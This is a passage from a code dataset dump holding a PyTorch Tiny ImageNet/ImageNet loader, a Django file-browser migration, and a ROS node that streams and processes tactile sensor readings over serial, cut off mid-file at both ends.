cv2.cvtColor(img, cv2.COLOR_GRAY2RGB)\n else:\n raise NotImplementedError\n\n\ndef load_image_pil(path: str):\n \"\"\"Load image with PIL.\"\"\"\n return Image.open(path)\n\n\nclass TinyImageNet(Dataset):\n \"\"\"\n Tiny ImageNet data set available from `http://cs231n.stanford.edu/tiny-imagenet-200.zip`.\n Implementation based on:\n https://github.com/leemengtaiwan/tiny-imagenet/\n \"\"\"\n EXTENSION = \"JPEG\"\n NUM_IMAGES_PER_CLASS = 500\n CLASS_LIST_FILE = \"wnids.txt\"\n VAL_ANNOTATION_FILE = 'val_annotations.txt'\n num_classes = 200\n\n def __init__(self,\n root: str,\n split: str = 'train',\n transform: object = None,\n target_transform: object = None,\n in_memory: bool = True,\n proportion: float = 1.0,\n **kwargs):\n self.root = os.path.expanduser(root)\n self.split = split\n self.transform = transform\n self.target_transform = target_transform\n self.in_memory = in_memory\n self.proportion = proportion\n\n self.split_dir = os.path.join(root, self.split)\n\n self.image_paths = glob.glob(os.path.join(self.split_dir, f\"**/*.{self.EXTENSION}\"), recursive=True)\n self.image_paths = sorted(self.image_paths)\n self.images = []\n self.labels = {}\n\n with open(os.path.join(self.root, self.CLASS_LIST_FILE), 'r') as fp:\n self.label_texts = sorted([text.strip() for text in fp.readlines()])\n self.label_text_to_number = {text: i for i, text in enumerate(self.label_texts)}\n\n if self.split == 'train':\n for label_text, i in self.label_text_to_number.items():\n for cnt in range(self.NUM_IMAGES_PER_CLASS):\n self.labels[f'{label_text}_{cnt}.{self.EXTENSION}'] = i\n elif self.split == 'val':\n with open(os.path.join(self.split_dir, self.VAL_ANNOTATION_FILE), 'r') as fp:\n for line in fp.readlines():\n filename, label_text, *_ = line.split('\\t')\n self.labels[filename] = self.label_text_to_number[label_text]\n else:\n raise NotImplementedError\n\n if self.proportion < 1.:\n indices, _ = train_test_split(\n np.arange(len(self.image_paths)),\n train_size=self.proportion,\n stratify=[self.labels[os.path.basename(p)] for p in self.image_paths],\n shuffle=True,\n random_state=2021 + kwargs.get('seed', 0)\n )\n self.image_paths = [self.image_paths[i] for i in indices]\n\n if self.in_memory:\n print(f\"Loading {self.split} data to memory...\", end=' ')\n self.images = [load_image_cv2(path) for path in self.image_paths]\n print(f\"Done!\")\n\n def __len__(self):\n return len(self.image_paths)\n\n def __getitem__(self, idx):\n path = self.image_paths[idx]\n target = self.labels[os.path.basename(path)]\n if self.in_memory:\n img = self.images[idx]\n else:\n img = load_image_cv2(path)\n\n if self.transform is not None:\n img = self.transform(img)\n\n return dict(x=img, y=target, idx=idx)\n\n\nclass TinyImageNetPair(TinyImageNet):\n def __init__(self,\n root: str = './data/tiny-imagenet-200',\n split: str = 'train',\n transform: object = None,\n in_memory: bool = True,\n **kwargs):\n super(TinyImageNetPair, self).__init__(root=root,\n split=split,\n transform=transform,\n target_transform=None,\n in_memory=in_memory,\n **kwargs)\n\n def __getitem__(self, idx):\n path = self.image_paths[idx]\n target = self.labels[os.path.basename(path)]\n if self.in_memory:\n img = self.images[idx]\n else:\n img = self.load_image_cv2(path)\n\n if self.transform is not None:\n x1 = self.transform(img)\n x2 = self.transform(img)\n\n return dict(x1=x1, x2=x2, y=target, idx=idx)\n\n\nclass TinyImageNetForMoCo(TinyImageNet):\n def __init__(self,\n root: str = './data/tiny-imagenet-200/',\n split: str = 'train',\n query_transform: object = None,\n key_transform: object = None,\n in_memory: bool = True,\n **kwargs):\n super(TinyImageNetForMoCo, self).__init__(root=root,\n split=split,\n transform=None,\n target_transform=None,\n in_memory=in_memory,\n **kwargs)\n self.query_transform = query_transform\n self.key_transform = key_transform\n\n def __getitem__(self, idx):\n path = self.image_paths[idx]\n target = self.labels[os.path.basename(path)]\n if self.in_memory:\n img = self.images[idx]\n else:\n img = load_image_cv2(path)\n\n x1 = self.query_transform(img)\n x2 = self.key_transform(img)\n\n return dict(x1=x1, x2=x2, y=target, idx=idx)\n\nclass TinyImageNetForCLAPP(TinyImageNet):\n def __init__(self,\n root: str = './data/tiny-imagenet-200/',\n split: str = 'train',\n query_transform: object = None,\n key_transform: object = None,\n pseudo_transform: object = None,\n in_memory: bool = True,\n **kwargs):\n super(TinyImageNetForCLAPP, self).__init__(root=root,\n split=split,\n transform=None,\n target_transform=None,\n in_memory=in_memory,\n **kwargs)\n self.query_transform = query_transform\n self.key_transform = key_transform\n self.pseudo_transform = pseudo_transform\n\n def __getitem__(self, idx):\n path = self.image_paths[idx]\n target = self.labels[os.path.basename(path)]\n if self.in_memory:\n img = self.images[idx]\n else:\n img = load_image_cv2(path)\n\n x1 = self.query_transform(img)\n x2 = self.key_transform(img)\n x3 = self.pseudo_transform(img)\n\n return dict(x1=x1, x2=x2, x3=x3, y=target, idx=idx)\n\n\nclass ImageNet(_ImageNet):\n num_classes = 1000\n def __init__(self,\n root: str = './data/imagenet2012',\n split: str = 'train',\n transform: object = None,\n proportion: float = 1.0,\n **kwargs):\n super(ImageNet, self).__init__(root=root,\n split=split,\n transform=transform,\n target_transform=None)\n\n self.proportion = proportion\n if self.proportion < 1.0:\n self.samples, _ = train_test_split(\n self.samples,\n train_size=self.proportion,\n stratify=[s[-1] for s in self.samples],\n shuffle=True,\n random_state=2020 + kwargs.get('seed', 0)\n )\n\n def __getitem__(self, idx):\n path, target = self.samples[idx]\n img = load_image_cv2(path)\n if self.transform is not None:\n img = self.transform(img)\n\n return dict(x=img, y=target, idx=idx)\n\n def __len__(self):\n return len(self.samples)\n\n\nclass ImageNetPair(ImageNet):\n def __init__(self,\n root: str,\n split: str = 'train',\n transform: object = None,\n **kwargs):\n super(ImageNetPair, self).__init__(root=root,\n split=split,\n transform=transform,\n target_transform=None,\n **kwargs)\n\n def __getitem__(self, idx):\n path, target = self.samples[idx]\n img = load_image_cv2(path)\n if self.transform is not None:\n x1 = self.transform(img)\n x2 = self.transform(img)\n\n return dict(x1=x1, x2=x2, y=target, idx=idx)\n\n\nclass ImageNetForMoCo(ImageNet):\n def __init__(self,\n root: str,\n split: str = 'train',\n query_transform: object = None,\n key_transform: object = None,\n **kwargs):\n super(ImageNetForMoCo, self).__init__(root=root,\n split=split,\n transform=None,\n target_transform=None,\n **kwargs)\n \n self.query_transform = query_transform\n self.key_transform = key_transform\n \n def __getitem__(self, idx):\n path, target = self.samples[idx]\n img = load_image_cv2(path)\n\n x1 = self.query_transform(img)\n x2 = self.key_transform(img)\n\n return dict(x1=x1, x2=x2, y=target, idx=idx)\n\nImageNetForSimCLR = ImageNetPair\nTinyImageNetForSimCLR = TinyImageNetPair\n","sub_path":"datasets/imagenet.py","file_name":"imagenet.py","file_ext":"py","file_size_in_byte":10201,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"196402403","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='FileBrowserItem',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('path', models.CharField(max_length=512)),\n ('path_relative_directory', models.CharField(max_length=512)),\n ('filename', models.CharField(max_length=512)),\n ('url', models.CharField(max_length=512, null=True, blank=True)),\n ('extension', models.CharField(max_length=64, null=True, blank=True)),\n ('filetype', models.CharField(blank=True, max_length=64, null=True, choices=[(b'code', b'Code'), (b'image', b'Image'), (b'audio', b'Audio'), (b'video', b'Video'), (b'folder', b'Folder'), (b'document', b'Document')])),\n ('filesize', models.PositiveIntegerField(null=True, blank=True)),\n ('datetime', models.DateTimeField(null=True, blank=True)),\n ('parent', models.ForeignKey(blank=True, to='filebrowser_safe.FileBrowserItem', null=True)),\n ],\n ),\n ]\n","sub_path":"filebrowser_safe/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":1303,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"37438261","text":"#!/usr/bin/env python\n\nimport rospy\n\n\nimport time\nimport psocScanner as psoc\nimport struct\nimport numpy as np\nimport os, sys\nimport math\nimport scipy.fftpack\nimport datetime\nfrom scipy.io import loadmat\nfrom scipy.io import savemat\n\n\n\nfrom tae_psoc.msg import SensorPacket\nfrom tae_psoc.msg import cmdToPsoc\nfrom tae_customrobotiqgripper.msg import cmdToGripper\n\n\nIDLE = 0\nSTREAMING = 1\n\n\nNO_CMD = 0\nSTART_CMD = 2\nIDLE_CMD = 3\n\n\n\ncurrState = IDLE\nCMD_in = NO_CMD\n\ngripperPosInput = -1\n\nUR5_Y_pos = 0 # in mm\n\n\ndef callback(data):\n global CMD_in\n global UR5_Y_pos\n\n if data.cmdInput < 5:\n CMD_in = data.cmdInput\n else:\n UR5_Y_pos = data.cmdInput\n\n\ndef callback_gripperCMD(data):\n global gripperPosInput\n gripperPosInput = data.position\n print(gripperPosInput)\n \n\ndef mainLoop(savingFileName):\n global currState\n global CMD_in \n global gripperPosInput\n global UR5_Y_pos\n\n # #Gripper is a C-Model with a TCP connection\n # gripper = robotiq_c_model_control.baseCModel.robotiqBaseCModel()\n # gripper.client = robotiq_modbus_rtu.comModbusRtu.communication()\n\n # #We connect to the address received as an argument\n # gripper.client.connectToDevice(device)\n\n rospy.init_node('psocPubSub')\n\n #Each Sensor Reading is Published to topic 'SensorReading'\n pub = rospy.Publisher('SensorPacket', SensorPacket, queue_size=1)\n rospy.Subscriber('cmdToPsoc',cmdToPsoc, callback)\n rospy.Subscriber('cmdToGripper',cmdToGripper,callback_gripperCMD)\n\n msg = SensorPacket()\n\n # #The Gripper command is received from the topic named 'CModelRobotOutput'\n # rospy.Subscriber('CModelRobotOutput', outputMsg.CModel_robot_output, gripper.refreshCommand) \n \n counter = 0\n\n # rospy.spin();\n\n ResultSavingDirectory = '/home/tae/Data'\n SavingFileName = savingFileName #'test_box'\n\n SensorExist = 1\n plotShow = 1\n\n\n ##################################################\n #%%\n SensorNum = 2\n SensorAddress = np.array([8, 9])\n\n\n MODE_ONE_PAD = 0 \n MODE_FOUR_PAD = 1\n MODE_NINE_PAD = 2\n MODE_INDIVIDUAL = 3\n MODE_CAPSENSE = 17\n MODE_ONE_AND_FOUR =32 #Problematic at 1kHz\n MODE_NINE_AND_INDIV= 33 \n MODE_ONE_AND_NINE = 34 #Problematic\n MODE_FOUR_AND_INDIV = 35; # 250\n MODE_TORSION_AND_INDIV = 36; #0X24\n\n\n\n\n #################################3# Sensing MODE Select@!!!1 @#####################################\n # sensingMode = MODE_FOUR_AND_INDIV\n sensingMode = MODE_TORSION_AND_INDIV\n\n\n slopeCompensateOn = True\n\n\n\n\n IsTwoModeMerged = False\n if sensingMode == MODE_ONE_PAD:\n SamplingFreq = 1.5e3\n elif sensingMode == MODE_FOUR_PAD:\n SamplingFreq = 300; \n elif sensingMode == MODE_NINE_PAD:\n SamplingFreq = 150\n elif sensingMode == MODE_INDIVIDUAL:\n SamplingFreq = 60\n elif sensingMode == MODE_ONE_AND_FOUR:\n SamplingFreq = 1e3\n num_sensors_2 = 4\n IsTwoModeMerged = True\n elif sensingMode == MODE_ONE_AND_NINE:\n SamplingFreq = 1e3\n num_sensors_2 = 9\n IsTwoModeMerged = True\n elif sensingMode == MODE_NINE_AND_INDIV:\n SamplingFreq = 110\n num_sensors_2 = 36\n IsTwoModeMerged = True\n elif sensingMode == MODE_FOUR_AND_INDIV or sensingMode == MODE_TORSION_AND_INDIV:\n SamplingFreq = 300\n num_sensors_2 = 36\n IsTwoModeMerged = True\n\n #%% \n SamplingPeriod = 1.0/SamplingFreq\n KitprogTimerClockFreq = 100e3\n tempPeriodInput = divmod(math.floor(SamplingPeriod * KitprogTimerClockFreq) , 2**8)\n periodInput = np.array([tempPeriodInput[1], tempPeriodInput[0]])\n\n\n ## Read Calibration File\n # Open calibration file\n # !!!!!!!!!!!!!!!!!!!!!!\n MatFile = loadmat('/home/tae/Data/CalibrationMat/SensorA_CalMatrix_2_0_AllArea')\n # CalMat_A = MatFile['A_trainsets']\n CalMat_A2 = MatFile['A_trainsets2']\n\n MatFile = loadmat('/home/tae/Data/CalibrationMat/SensorB_CalMatrix_2_0_AllArea')\n CalMat_B2 = MatFile['A_trainsets2']\n \n\n #We loop\n while not rospy.is_shutdown():\n if currState == IDLE and CMD_in == START_CMD:\n CMD_in = NO_CMD\n currState = STREAMING\n\n \n \n currDateTimeString = datetime.datetime.now().strftime(\"%y%m%d_%H%M%S_\")\n \n # output_file = ResultSavingDirectory + '\\\\'+ 'result_' +currDateString + SavingFileName + '.html'\n\n ts = psoc.TactileSensor(port=\"/dev/ttyACM0\")\n ts.ser.flushInput()\n \n # ts.sendChar(\"i\")\n # time.sleep(0.01)\n\n thisInputArray = np.array([ord('a'), SensorNum, SensorAddress[0], SensorAddress[1]]) \n ts.sendNum(thisInputArray) \n time.sleep(0.1)\n \n # fwrite(com,['p' periodInput(1) periodInput(2)])\n thisInputArray = np.array([ord('p'), periodInput[0], periodInput[1]])\n ts.sendNum(thisInputArray) \n # ts.sendChar(\"p\") \n # ts.sendNum(periodInput[0])\n # ts.sendNum(periodInput[1])\n time.sleep(0.1)\n \n thisInputArray = np.array([ord('m'), sensingMode]) \n ts.sendNum(thisInputArray)\n time.sleep(0.1)\n \n ts.sendChar(\"q\")\n time.sleep(0.1)\n \n\n ts.packet_size = ord(ts.ser.read(1))-1\n\n num_sensors_1= (ts.packet_size - 1) / 2 \n\n ts.num_sensors= (ts.packet_size - 1) / 2\n ts.unpackFormat = '<'\n for i in range(0,ts.packet_size):\n ts.unpackFormat = ts.unpackFormat + 'B'\n \n \n if IsTwoModeMerged: #% Deal with Merging Techniq\n num_sensors_1 = num_sensors_1/2\n \n sensorIndexInData_1 = list(range(0,(ts.packet_size - 1) / 2, 2) ) \n sensorIndexInData_2 = list(range(1,(ts.packet_size - 1) / 2, 2) ) \n \n groupIndexMax = num_sensors_2/ num_sensors_1 -1; #% Follows C convention\n \n else:\n num_sensors_2 = 0 # % Dummy\n \n print(\"num_sensor 1=\")\n print(num_sensors_1)\n print(\"num_sensor 2=\")\n print(num_sensors_2)\n \n \n #######################################################\n\n \n #%% Get Initial samples for measuring Offset Values \n initialSamplingNum = 16 # it should be an even number\n \n #%% Buffer\n init_BufferSize = 5000;\n sensor_1_data_history_first = np.zeros((init_BufferSize,num_sensors_1))\n sensor_1_data_history_second = np.zeros((init_BufferSize,num_sensors_2))\n sensor_1_offset_first = np.zeros((1, num_sensors_1), dtype = 'i')\n sensor_1_offset_second = np.zeros((1, num_sensors_2), dtype = 'i')\n sensor_1_FT_history_second = np.zeros((init_BufferSize, 6), dtype='f')\n sensor_1_vorticity_history_second = np.zeros((init_BufferSize, 1), dtype='f')\n read_count_sns_1_first = 0\n read_count_sns_1_second = 0\n sensor_1_offsetObtained = False\n\n sensor_2_data_history_first = np.zeros((init_BufferSize,num_sensors_1))\n sensor_2_data_history_second = np.zeros((init_BufferSize,num_sensors_2))\n sensor_2_offset_first = np.zeros((1, num_sensors_1),dtype = 'i')\n sensor_2_offset_second = np.zeros((1, num_sensors_2),dtype = 'i')\n sensor_2_FT_history_second = np.zeros((init_BufferSize, 6), dtype='f')\n sensor_2_vorticity_history_second = np.zeros((init_BufferSize, 1), dtype='f')\n sensor_2_offsetObtained = False\n read_count_sns_2_first = 0\n read_count_sns_2_second = 0\n\n FT_movingAverageWindow_N = 5\n\n\n GripperPosCMD_History = np.zeros((init_BufferSize,1))-1 # Always -1 if no command in.\n\n\n\n\n \n # Some initial settings for the FFT.. preliminary here, will move up later\n winSizeT = 500 * 0.001 # in sec\n overlapT = 100e-3\n\n Fs = SamplingFreq\n T = 1.0 / Fs\n # Window is set to be 100ms\n winSizeN = int(winSizeT / T)\n hammingW = np.hamming(winSizeN)\n\n overlapN = int(overlapT / T) #sample Count\n isFirst = 1\n \n # Buffer stuff for the window and fft\n waitUntil_sns_1_first = 0\n waitUntil_sns_2_first = 0\n \n fftStoreCounter_sns_1 = 0;\n fftStoreCounter_sns_2 = 0;\n\n \n fftStorage_sns_1_NS = np.zeros((init_BufferSize, winSizeN//2+1))\n fftStorage_sns_1_WE = np.zeros((init_BufferSize, winSizeN//2+1))\n\n fftStorage_sns_2_NS = np.zeros((init_BufferSize, winSizeN//2+1))\n fftStorage_sns_2_WE = np.zeros((init_BufferSize, winSizeN//2+1))\n\n # For Vorticity Calculate\n taxelNum_x = 3\n taxelNum_y = 3\n u = np.zeros([3,3],dtype='f')\n v = np.zeros([3,3],dtype='f')\n duMask = np.array([[-1, -1, -1],[0, 0, 0],[ 1, 1, 1]], dtype = 'f')\n dvMask = np.array([[-1, 0, 1],[-1, 0, 1],[ -1, 0, 1]], dtype = 'f')\n\n \n\n #%%\n\n tic = time.time()\n\n stopCMDsent = False\n\n\n snsIndex = 0 \n\n\n\n\n #Start Streaming\n ts.sendChar(\"s\")\n\n currDateOnlyString = datetime.datetime.now().strftime(\"%y%m%d\")\n\n \n \n # Loop for getting sensor readings\n\n while not CMD_in == IDLE_CMD:\n\n while ord(ts.ser.read(1))!= ts.STX:\n continue\n\n \n \n #Read rest of the data\n tempSampledData = ts.readRestData() \n\n if snsIndex == 0:\n if IsTwoModeMerged:\n # First Mode\n sensor_1_data_history_first[read_count_sns_1_first,:] = tempSampledData[0,sensorIndexInData_1] - sensor_1_offset_first\n #insert gripper CMD history if it is not -1\n if gripperPosInput > -1:\n GripperPosCMD_History[read_count_sns_1_first,0] = gripperPosInput\n gripperPosInput = -1 #restore to default num\n\n read_count_sns_1_first += 1\n\n \n\n # Second Mode\n groupIndex = ts.groupIndex\n sensor_1_data_history_second[read_count_sns_1_second, groupIndex*num_sensors_1:(groupIndex+1)*num_sensors_1]= tempSampledData[0,sensorIndexInData_2]\n if groupIndex == groupIndexMax:\n sensor_1_data_history_second[read_count_sns_1_second,:] = sensor_1_data_history_second[read_count_sns_1_second,:] - sensor_1_offset_second\n read_count_sns_1_second = read_count_sns_1_second+1;\n \n # Calibrate Using Second Mode Data\n if sensor_1_offsetObtained: \n #Get moving Average of moving Average window\n averagedMean = np.mean(sensor_1_data_history_second[read_count_sns_1_second-FT_movingAverageWindow_N:read_count_sns_1_second,:],axis=0)\n\n # Multiply the calibration matrix accordingly\n toCalibrate = np.append(averagedMean, np.square(averagedMean))\n\n calData2 = np.matmul(CalMat_A2, toCalibrate)\n # Save the relevant force torque to FT_data_history \n sensor_1_FT_history_second[read_count_sns_1_second-1,:] = calData2\n\n\n\n ### Calculate Vorticity\n \n for j in range(0,taxelNum_y):\n for i in range(0,taxelNum_x): \n west = averagedMean[0 + (j*taxelNum_x + i)*4];\n north = averagedMean[1 + (j*taxelNum_x + i)*4];\n east = averagedMean[2 + (j*taxelNum_x + i)*4];\n south = averagedMean[3 + (j*taxelNum_x + i)*4];\n \n u[j,i] = east - west;\n v[j,i] = north - south;\n \n \n\n # Custom Curlz Calculate\n du = u - u[1,1]\n dv = v - v[1,1]\n \n curl_center = np.sum( np.multiply(dv, dvMask) - np.multiply(du,duMask) ) / 6.0; # Per each gradient, we see 6 element contributing\n # curl_center = sum(sum( dv.*dvMask - du.*duMask))/6; # Per each gradient, we see 6 element contributing\n \n\n sensor_1_vorticity_history_second[read_count_sns_1_second-1,:] = curl_center\n\n\n\n\n\n # Obtain Offset from initial few samples \n if not sensor_1_offsetObtained and read_count_sns_1_second == initialSamplingNum:\n sensor_1_offset_first = np.mean(sensor_1_data_history_first[read_count_sns_1_first-initialSamplingNum:read_count_sns_1_first,:],axis=0)\n sensor_1_offset_second = np.mean(sensor_1_data_history_second[5:initialSamplingNum,:],axis=0)\n sensor_1_offset_first = sensor_1_offset_first.astype(int)\n sensor_1_offset_second = sensor_1_offset_second.astype(int)\n sensor_1_offsetObtained = True\n waitUntil_sns_1_first = winSizeN + read_count_sns_1_first\n\n else:\n sensor_1_data_history_first[read_count_sns_1_first,:] = tempSampledData - sensor_1_offset_first\n read_count_sns_1_first += 1\n if not sensor_1_offsetObtained and read_count_sns_1_first == initialSamplingNum:\n sensor_1_offset_first = np.mean(sensor_1_data_history_first[3:initialSamplingNum,:],axis=0) \n sensor_1_offsetObtained = True\n waitUntil_sns_1_first = winSizeN + read_count_sns_1_first\n\n \n #if the data overflows\n if read_count_sns_1_first > sensor_1_data_history_first.shape[0]-1:\n sensor_1_data_history_first = np.append(sensor_1_data_history_first, np.zeros((init_BufferSize,num_sensors_1)), axis=0)\n GripperPosCMD_History = np.append(GripperPosCMD_History, -np.ones((init_BufferSize,1)), axis=0)\n\n if read_count_sns_1_second > sensor_1_data_history_second.shape[0]-1:\n sensor_1_data_history_second = np.append(sensor_1_data_history_second, np.zeros((init_BufferSize,num_sensors_2)), axis=0)\n sensor_1_FT_history_second = np.append(sensor_1_FT_history_second, np.zeros((init_BufferSize,6)), axis=0)\n sensor_1_vorticity_history_second = np.append(sensor_1_vorticity_history_second, np.zeros((init_BufferSize,1)), axis=0 )\n \n if SensorNum == 2:\n snsIndex = 1\n\n ######## Runs for 4 Ch case only\n\n # Calculate FFT \n if read_count_sns_1_first == waitUntil_sns_1_first:\n #process window data. filter out dc and multiply a hamming window\n windowBuffer = sensor_1_data_history_first[waitUntil_sns_1_first - winSizeN : waitUntil_sns_1_first, :]\n Differential_N_S = windowBuffer[:,1] - windowBuffer[:,3]\n Differential_W_E = windowBuffer[:,0] - windowBuffer[:,2]\n\n # FFT for N-S\n if slopeCompensateOn:\n temp = np.transpose(Differential_N_S)\n # temp = temp[0,:]\n x_fit = np.array(range(0,np.shape(temp)[0]))\n \n fitObject = np.poly1d(np.polyfit(x_fit, temp, 1))\n\n fftInput = np.multiply((Differential_N_S - fitObject(x_fit)), hammingW)\n\n else:\n fftInput = np.multiply((Differential_N_S - np.mean(Differential_N_S)), hammingW)\n\n\n\n\n yfft = scipy.fftpack.fft(fftInput)\n xfft = np.linspace(0.0, Fs/2, winSizeN//2+1)\n\n fftStorage_sns_1_NS[fftStoreCounter_sns_1,:] = np.abs(yfft[:winSizeN//2+1])\n\n #FFT for W-E\n if slopeCompensateOn:\n temp = np.transpose(Differential_W_E)\n # temp = temp[0,:]\n x_fit = np.array(range(0,np.shape(temp)[0]))\n \n fitObject = np.poly1d(np.polyfit(x_fit, temp, 1))\n\n fftInput = np.multiply((Differential_W_E - fitObject(x_fit)), hammingW)\n \n else:\n fftInput = np.multiply((Differential_W_E - np.mean(Differential_W_E)), hammingW)\n #fftInput = np.multiply((Differential_W_E - np.mean(Differential_W_E)), hammingW)\n\n\n\n yfft = scipy.fftpack.fft(fftInput)\n xfft = np.linspace(0.0, Fs/2, winSizeN//2+1)\n\n fftStorage_sns_1_WE[fftStoreCounter_sns_1,:] = np.abs(yfft[:winSizeN//2+1])\n\n\n # print(fftStorage_sns_1_WE[fftStoreCounter_sns_1,0:4])\n\n waitUntil_sns_1_first += overlapN\n fftStoreCounter_sns_1 += 1\n\n if fftStoreCounter_sns_1 > fftStorage_sns_1_NS.shape[0]-1:\n fftStorage_sns_1_NS = np.append(fftStorage_sns_1_NS, np.zeros((init_BufferSize,winSizeN//2+1)), axis=0)\n fftStorage_sns_1_WE = np.append(fftStorage_sns_1_WE, np.zeros((init_BufferSize,winSizeN//2+1)), axis=0)\n \n\n\n\n \n elif snsIndex == 1:\n if IsTwoModeMerged:\n sensor_2_data_history_first[read_count_sns_2_first,:] = tempSampledData[0,sensorIndexInData_1]- sensor_2_offset_first\n read_count_sns_2_first += 1\n\n groupIndex = ts.groupIndex\n sensor_2_data_history_second[read_count_sns_2_second, groupIndex*num_sensors_1:(groupIndex+1)*num_sensors_1]= tempSampledData[0,sensorIndexInData_2]\n if groupIndex == groupIndexMax:\n sensor_2_data_history_second[read_count_sns_2_second,:] = sensor_2_data_history_second[read_count_sns_2_second,:] - sensor_2_offset_second\n read_count_sns_2_second = read_count_sns_2_second+1;\n\n # Calibrate Using Second Mode Data\n if sensor_2_offsetObtained: \n #Get moving Average of moving Average window\n averagedMean = np.mean(sensor_2_data_history_second[read_count_sns_2_second-FT_movingAverageWindow_N:read_count_sns_2_second,:],axis=0)\n\n # Multiply the calibration matrix accordingly\n toCalibrate = np.append(averagedMean, np.square(averagedMean))\n\n calData2 = np.matmul(CalMat_B2, toCalibrate)\n # Save the relevant force torque to FT_data_history \n sensor_2_FT_history_second[read_count_sns_2_second-1,:] = calData2\n\n\n ### Calculate Vorticity\n \n for j in range(0,taxelNum_y):\n for i in range(0,taxelNum_x): \n west = averagedMean[0 + (j*taxelNum_x + i)*4];\n north = averagedMean[1 + (j*taxelNum_x + i)*4];\n east = averagedMean[2 + (j*taxelNum_x + i)*4];\n south = averagedMean[3 + (j*taxelNum_x + i)*4];\n \n u[j,i] = east - west;\n v[j,i] = north - south;\n \n # Custom Curlz Calculate\n du = u - u[1,1]\n dv = v - v[1,1]\n \n curl_center = np.sum( np.multiply(dv, dvMask) - np.multiply(du,duMask) ) / 6.0; # Per each gradient, we see 6 element contributing\n # curl_center = sum(sum( dv.*dvMask - du.*duMask))/6; # Per each gradient, we see 6 element contributing\n \n\n sensor_2_vorticity_history_second[read_count_sns_2_second-1,:] = curl_center\n\n\n\n\n\n\n #Obtain offsets\n if not sensor_2_offsetObtained and read_count_sns_2_second == initialSamplingNum:\n sensor_2_offset_first = np.mean(sensor_2_data_history_first[read_count_sns_2_first-initialSamplingNum:read_count_sns_2_first,:],axis=0) \n sensor_2_offset_second = np.mean(sensor_2_data_history_second[3:initialSamplingNum,:],axis=0) \n sensor_2_offset_first = sensor_2_offset_first.astype(int)\n sensor_2_offset_second = sensor_2_offset_second.astype(int) \n sensor_2_offsetObtained = True\n waitUntil_sns_2_first = winSizeN + read_count_sns_2_first\n else:\n sensor_2_data_history_first[read_count_sns_2_first,:] = tempSampledData\n read_count_sns_2_first += 1\n\n if not sensor_2_offsetObtained and read_count_sns_2_first == initialSamplingNum:\n sensor_2_offset_first = np.mean(sensor_2_data_history_first[3:initialSamplingNum,:],axis=0) \n sensor_2_offsetObtained = True\n waitUntil_sns_2_first = winSizeN + read_count_sns_2_first\n\n \n #if the data overflows\n if read_count_sns_2_first > sensor_2_data_history_first.shape[0]-1:\n sensor_2_data_history_first = np.append(sensor_2_data_history_first, np.zeros((init_BufferSize,num_sensors_1)), axis=0)\n if read_count_sns_2_second > sensor_2_data_history_second.shape[0]-1:\n sensor_2_data_history_second = np.append(sensor_2_data_history_second, np.zeros((init_BufferSize,num_sensors_2)), axis=0)\n sensor_2_FT_history_second = np.append(sensor_2_FT_history_second, np.zeros((init_BufferSize,6)), axis=0)\n sensor_2_vorticity_history_second = np.append(sensor_2_vorticity_history_second, np.zeros((init_BufferSize,1)), axis=0 )\n \n snsIndex = 0\n\n\n ######## Runs for 4 Ch case only\n\n # Calculate FFT \n if read_count_sns_2_first == waitUntil_sns_2_first:\n #process window data. filter out dc and multiply a hamming window\n windowBuffer = sensor_2_data_history_first[waitUntil_sns_2_first - winSizeN : waitUntil_sns_2_first, :]\n Differential_N_S = windowBuffer[:,1] - windowBuffer[:,3]\n Differential_W_E = windowBuffer[:,0] - windowBuffer[:,2]\n\n # FFT for N-S\n if slopeCompensateOn:\n temp = np.transpose(Differential_N_S)\n\n # temp = temp[0,:]\n x_fit = np.array(range(0,np.shape(temp)[0]))\n \n fitObject = np.poly1d(np.polyfit(x_fit, temp, 1))\n\n fftInput = np.multiply((Differential_N_S - fitObject(x_fit)), hammingW)\n\n\n else:\n fftInput = np.multiply((Differential_N_S - np.mean(Differential_N_S)), hammingW)\n\n yfft = scipy.fftpack.fft(fftInput)\n xfft = np.linspace(0.0, Fs/2, winSizeN//2+1)\n\n fftStorage_sns_2_NS[fftStoreCounter_sns_2,:] = np.abs(yfft[:winSizeN//2+1])\n\n #FFT for W-E\n if slopeCompensateOn:\n temp = np.transpose(Differential_W_E)\n # temp = temp[0,:]\n x_fit = np.array(range(0,np.shape(temp)[0]))\n \n fitObject = np.poly1d(np.polyfit(x_fit, temp, 1))\n\n fftInput = np.multiply((Differential_W_E - fitObject(x_fit)), hammingW)\n \n else:\n fftInput = np.multiply((Differential_W_E - np.mean(Differential_W_E)), hammingW)\n yfft = scipy.fftpack.fft(fftInput)\n xfft = np.linspace(0.0, Fs/2, winSizeN//2+1)\n\n fftStorage_sns_2_WE[fftStoreCounter_sns_2,:] = np.abs(yfft[:winSizeN//2+1])\n\n\n # print(fftStorage_sns_2_WE[fftStoreCounter_sns_2,0:4])\n\n waitUntil_sns_2_first += overlapN\n fftStoreCounter_sns_2 += 1\n\n if fftStoreCounter_sns_2 > fftStorage_sns_2_NS.shape[0]-1:\n fftStorage_sns_2_NS = np.append(fftStorage_sns_2_NS, np.zeros((init_BufferSize,winSizeN//2+1)), axis=0)\n fftStorage_sns_2_WE = np.append(fftStorage_sns_2_WE, np.zeros((init_BufferSize,winSizeN//2+1)), axis=0)\n\n\n\n # After Doen with the 2nd sensor reading we Puablish the mesg to Main operating code\n #Get and publish the Each Sensor Read\n if sensor_1_offsetObtained and sensor_2_offsetObtained:\n msg.sns_1_FFT_NS = fftStorage_sns_1_NS[fftStoreCounter_sns_1-1,0:6]\n msg.sns_1_FFT_WE = fftStorage_sns_1_WE[fftStoreCounter_sns_1-1,0:6]\n \n msg.sns_2_FFT_NS = fftStorage_sns_2_NS[fftStoreCounter_sns_2-1,0:6]\n msg.sns_2_FFT_WE = fftStorage_sns_2_WE[fftStoreCounter_sns_2-1,0:6]\n \n msg.sns_1_4Ch = sensor_1_data_history_first[read_count_sns_1_first-1,:]\n msg.sns_1_F_M = sensor_1_FT_history_second[read_count_sns_1_second-1,:]\n \n msg.sns_2_4Ch = sensor_2_data_history_first[read_count_sns_2_first-1,:]\n msg.sns_2_F_M = 